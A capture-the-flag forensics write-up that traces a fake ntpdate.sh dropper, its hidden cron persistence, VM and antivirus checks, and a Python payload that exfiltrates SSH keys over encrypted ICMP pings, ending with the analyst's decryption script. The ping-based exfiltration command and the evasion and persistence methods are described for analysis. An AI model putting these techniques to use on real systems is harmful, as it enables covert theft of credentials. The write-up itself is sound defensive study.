This mission is the third part of a CTF, if you missed the first missions, you can check how it all started here : DGSE CTF 2025 - Mission 1
The news has just broken that the famous Quantumcore company has been compromised, allegedly as a result of a downloaded executable. Luckily - and thanks to good cyber reflexes - a system administrator managed to recover an image of the suspected virtual machine, as well as a network capture file (PCAP) just before the attacker completely covered his tracks.
It’s up to you to analyse these elements and understand what really happened.
Your mission: to identify the intrusion vector, trace the attacker’s actions and evaluate the compromised data.
You have at your disposal:
- The image of the compromised VM
- The PCAP file containing a portion of the suspect network traffic
- User: johndoe
- Password: MC2BSNRbgk
The clock is ticking, the pressure is mounting and every minute counts. Your move, analyst.
We were given a packet capture with more than 145k lines and a few files :

Searching through the PCAP statistics…
The PCAP analysis will be done thanks to Wireshark, a very good tool for traffic analysis. I choose to start with the PCAP because I think that network data is a pure and rich data source.
While checking the traffic statistics, I notice that there is a majority of UDP data packets, and TCP traffic with lots of TLS exchanges and a bit of SSH traffic :

I then go through the endpoint statistics. I see around 200 MB exchanged between 2 IP addresses; they represent almost the entirety of the packets :
- 192.168.1.10
- 192.168.1.4

Nothing catches my eyes in their conversations…
What about HTTP packets ?
I have barely seen them in the statistics, but since they hold clear traffic, we might still want to get interesting data.
I found 2 HTTP packets (which seems very uncommon). One of them contains a bash script ntpdate.sh â NTP Utility Sync Setup (v1.3.4).
- It holds Base64 encrypted parts that, once decrypted, show the following URLs (defanged format) :
http[:]//vastation.null:8080/ntpdate_util.cpython-37.pyc http[:]//vastation.null:8080/readme.md“vastation[.]null” resembles a lot to our enemy’s name “Nullvastation”.
-
It randomly generates 40 folders in /opt/, likely to confuse detection. It also populates /opt/ with other files filled with random fake information.
-
It writes to /etc/cron.d/.ntpdate_sync so the malicious script runs on schedule. It also creates fake cron jobs with innocuous names (update-cron, sysclean-job, etc.) to hide in plain sight.
- It gives the execution right to a specific .sys file inside the /opt folder.
=> It is a malicious file disguised as an ntupdate that made sure to hide a .sys malicious file in the /opt folder and made it persistent via cron.d.
It is time to mount the victim’s system and try to find those artifacts.
Into the victim’s compromised VM
We have multiple options to access the victim’s files, I choose to mount the .vdi file. A VDI is a virtual disk image used to create a VM (Virtual Machine). I use VirtualBox to create the VM from this image and see the GRUB (the boot menu). When I start it, nothing happens, so I decide to add a command myself at boot :
init=/bin/bash
I press ctrl+X and obtain a simple shell as root. I list the user folders, I notice the user johndoe, there is nothing worth noting.
The persistent file
Here is what I find inside the cron file we found earlier in the malicious code :

So it executes the /opt/fJQsJUNS.sys file at every boot. When I try to render its content, it gives me unreadable data :

To be able to read it, we have to decompile it to source with uncompyle6 since it is a .pyc file.
We can finally read the file. Here is its main :

- in the function __chk_vm, the program checks for some VMs parameters presence (VirtualBox, KVM, QQMU, Bochs)
- in the function __chk_av, the program tries to detect antivirus softwares (clamd, avgd, ESET, sophos, rkhunter)
-> the program only runs outside of VMs and in the absence of any of these antivirus softwares
- in __exf(path, dst, size=15)
It opens the file in
<path>and creates a list of segments of size 15 of it.
For each segment :- it creates a payload that is the segment encrypted in AES
- it executes the command :
ping - c 1 -p <payload> <dst>
=> the paths tried are ssh keys and /root/.secret
=> the dst (destination) is a decryption (_x()) of __d which is a global variable (it is equal to vastation[.]null after decryption)
=> so the malware tries to find and steal private SSH keys or secrets
=> it encrypts the data beforehand for stealth (that’s why I couldn’t notice anything in the packets)
=> since it exflitrates data embedded in ping packets, it is a classic exfiltration over ICMP technique
Retrieving and decrypting the stolen data
We first need to retrieve all the ICMP packets thanks to tshark in a .txt file
tshark -r capture.pcap -Y "icmp.type == 8" -T fields -e data > icmp_requests.txt
It is decryption time !
- Each ICMP request contains 40 bytes of data.
- The malware:
- Reads a file in chunks (size=15 bytes)
- Pads it to 16 bytes
- Encrypts each 16-byte block with AES-CBC, using the same key and IV each time (this is important!) -> so each segment is encrypted independently.
Warning Notice:
Initialization vectors (IVs) in AES encryption are normally defined for Cipher Block Chaining. It is an encryption method where a whole sequence of bits is encrypted as a single unit in multiple steps, where the IV is reused and modified at each step to create more randomization (so here with CBC, for every 16-byte segment, the IV would be different).
Here is the python code I used for the decryption (using the same key and IV as the malicious code) :
from Crypto.Cipher import AES
KEY = bytes.fromhex("e8f93d68b1c2d4e9f7a36b5c8d0f1e2a")
IV = bytes.fromhex("1f2d3c4b5a69788766554433221100ff")
# Removes PKCS#7 padding from decrypted data
# (AES works in 16-byte blocks, so if the plaintext isn’t a multiple of 16 bytes, padding is added)
def unpad(data):
# Padding length is stored in the last byte
pad_len = data[-1]
if 0 < pad_len <= 16:
# Strips pad_len bytes from the end
return data[:-pad_len]
return data
recovered = b''
with open("icmp_requests.txt") as f:
for line in f:
hex_data = line.strip()
# Skip if not a full 40-byte (80 hex) line
if len(hex_data) < 32:
continue
try:
# Each line contains hex-encoded ciphertext (because from intercepted network packets)
for i in range(0, len(hex_data), 32): # Every 16 bytes (32 hex chars)
# Breaks the hex string into 16-byte chunks (32 hex chars)
block = bytes.fromhex(hex_data[i:i+32])
if len(block) == 16:
cipher = AES.new(KEY, AES.MODE_CBC, IV)
decrypted = cipher.decrypt(block)
recovered += decrypted
except Exception as e:
print(f"[!] Error decrypting block: {e}")
continue
# Unpad at the end
recovered = unpad(recovered)
# Save and try to print result
with open("reconstructed_flag.bin", "wb") as out:
out.write(recovered)
try:
print("[+] Flag or data:")
print(recovered.decode())
except:
print("[+] Binary data saved to 'reconstructed_flag.bin'")
Conclusion
Our mission was : to identify the intrusion vector, trace the attacker’s actions and evaluate the compromised data.
From all the elements we got, we can establish the following attack timeline :
1) A file has been downloaded (“ntpdate.sh”) on the host via HTTP.
2) This file downloaded other files from the attacker’s server.
3) It hid the downloaded .sys file, their persistent malware “/opt/fJQsJUNS.sys”, among fake files it generated in the same folder.
4) It created a cron task “/etc/cron.d/.ntpdate_sync” among fakes ones to ensure the .sys file persistence that starts at boot.
5) The .sys file steals SSH keys and secrets, encodes them with AES encryption and exfiltrates them via ICMP packets to their server.
Mission accomplished; GG.